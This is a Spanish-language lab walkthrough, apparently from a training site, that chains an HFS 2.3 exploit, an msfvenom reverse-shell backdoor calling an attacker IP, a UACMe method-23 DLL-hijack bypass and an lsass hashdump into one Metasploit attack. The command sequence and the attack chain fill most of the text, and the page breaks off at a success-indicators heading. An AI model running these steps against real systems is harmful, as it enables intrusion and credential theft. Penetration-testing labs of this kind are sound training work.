GhostAcademy logo GhostAcademy

UAC Bypass: UACMe

Escalada de Privilegios y Dumping Windows PrivEsc UAC · DLL Hijacking · Hashdump

🛡 UAC: el mecanismo de protección de Windows

UAC (User Account Control) es una característica de seguridad de Windows Vista en adelante que solicita confirmación (o credenciales de administrador) antes de ejecutar acciones que requieren privilegios elevados. Incluso los usuarios del grupo Administrators operan con token restringido hasta que confirman la elevación.

UACMe es una herramienta pública que implementa más de 60 métodos distintos para evadir UAC, muchos de ellos usando binarios legítimos de Windows marcados como AutoElevate que no muestran el cuadro de diálogo.

Método 23 (DLL Hijacking sobre pkgmgr.exe): UACMe inyecta una DLL maliciosa en el proceso pkgmgr.exe, que tiene AutoElevate activo, para ejecutar un payload con privilegios SYSTEM sin mostrar ningún prompt de UAC.

¿Cómo funciona AutoElevate?

Algunos ejecutables de Windows tienen el flag autoElevate: true en su manifiesto. El SO los eleva automáticamente sin preguntar. UACMe abusa de este comportamiento para cargar código arbitrario con privilegios elevados.

🔧 Comandos del laboratorio

1. Reconocimiento

bash
cat /root/Desktop/target
nmap <IP>
nmap -sV -p 80 <IP>
# HttpFileServer 2.3

2. Explotación inicial (HFS 2.3 → Meterpreter)

msfconsole
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS <IP>
exploit

3. Verificar privilegios y sistema

meterpreter
getuid
# VICTIM\admin
sysinfo

4. Migrar a proceso estable

meterpreter
ps -S explorer.exe
migrate <PID>

5. Comprobar que UAC bloquea la elevación

meterpreter
getsystem
# Error: operación bloqueada por UAC
meterpreter
shell
net localgroup administrators
# admin está en el grupo pero sin token elevado

6. Generar payload y subir archivos

bash — en Kali/atacante
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_atacante> LPORT=4444 -f exe > backdoor.exe
meterpreter
upload Akagi64.exe C:\\Users\\admin\\AppData\\Local\\Temp\\
upload backdoor.exe C:\\Users\\admin\\AppData\\Local\\Temp\\

7. Configurar listener para la conexión elevada

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_atacante>
set LPORT 4444
exploit

8. Ejecutar el bypass UAC (método 23)

meterpreter — shell del proceso migrado
Akagi64.exe 23 C:\\Users\\admin\\AppData\\Local\\Temp\\backdoor.exe

9. Post-explotación: SYSTEM y hashdump

meterpreter — nueva sesión elevada
getsystem
# Ahora sí -> NT AUTHORITY\SYSTEM
ps -S lsass.exe
migrate <PID_lsass>
hashdump
# Extrae hashes NTLM de todos los usuarios

🗼 Flujo del ataque

1
ReconocimientoNmap → HFS 2.3 en puerto 80.
2
Explotación inicialRCE via rejetto_hfs_exec → Meterpreter como admin.
3
Comprobar UACgetsystem falla → UAC activo.
4
Preparar bypassmsfvenom + subir Akagi64.exe y backdoor.exe.
5
Ejecutar UACMe método 23DLL hijacking sobre pkgmgr.exe → nueva sesión elevada.
6
Escalar a SYSTEMgetsystem + migrar a lsass.exe.
7
HashdumpExtraer hashes NTLM de la SAM.

🎯 ¿Qué buscar? — Indicadores de éxito